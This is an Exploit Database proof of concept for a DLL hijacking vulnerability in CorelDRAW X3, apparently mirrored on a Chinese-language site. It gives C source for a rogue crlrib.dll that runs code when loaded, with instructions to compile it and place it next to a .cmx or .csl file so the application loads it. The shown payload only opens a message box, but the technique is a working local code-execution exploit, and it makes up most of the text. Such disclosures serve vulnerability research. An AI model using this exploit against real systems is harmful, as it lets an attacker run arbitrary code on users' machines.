CorelDRAW X3 13.0.0.576 – ‘crlrib.dll’ DLL Hijacking

• Exploit Database
• 15 阅读

• 作者： LiquidWorm
  日期： 2010-08-25
• 类别：

  • local
  平台：

  • windows
• 来源：https://www.exploit-db.com/exploits/14786/

• /*
  
   CorelDRAW X3 v13.0.0.576 (crlrib.dll) DLL Hijacking Exploit
  
   Vendor: Corel Corporation
   Product Web Page: http://www.corel.com
   Affected Version: X3 v13.0.0.576
  
   Summary: Graphic design software for striking visual communication.
  
   Desc: CorelDRAW X3 suffers from a dll hijacking vulnerability
   that enables the attacker to execute arbitrary code on a local level. The
   vulnerable extensions are .cmx and .csl thru crlrib.dll library.
  
   ----
   gcc -shared -o crlrib.dll coreldrw.c
  
   Compile and rename to crlrib.dll, create a file test.cmx or test.csl and
   put both files in same dir and execute.
   ----
  
   Tested on Microsoft Windows XP Professional SP3 (EN)
  
  
  
   Vulnerability discovered by Gjoko 'LiquidWorm' Krstic
   liquidworm gmail com
  
   Zero Science Lab - http://www.zeroscience.mk
  
  
   25.08.2010
  
  */
  
  
  #include <windows.h>
  
  BOOL WINAPI DllMain (HANDLE hinstDLL, DWORD fdwReason, LPVOID lpvReserved)
  {
  
  	switch (fdwReason)
  	{
  		case DLL_PROCESS_ATTACH:
  		dll_mll();
  		case DLL_THREAD_ATTACH:
  		case DLL_THREAD_DETACH:
  		case DLL_PROCESS_DETACH:
  		break;
  	}
  
  	return TRUE;
  }
  
  int dll_mll()
  {
  	MessageBox(0, "DLL Hijacked!", "DLL Message", MB_OK);
  }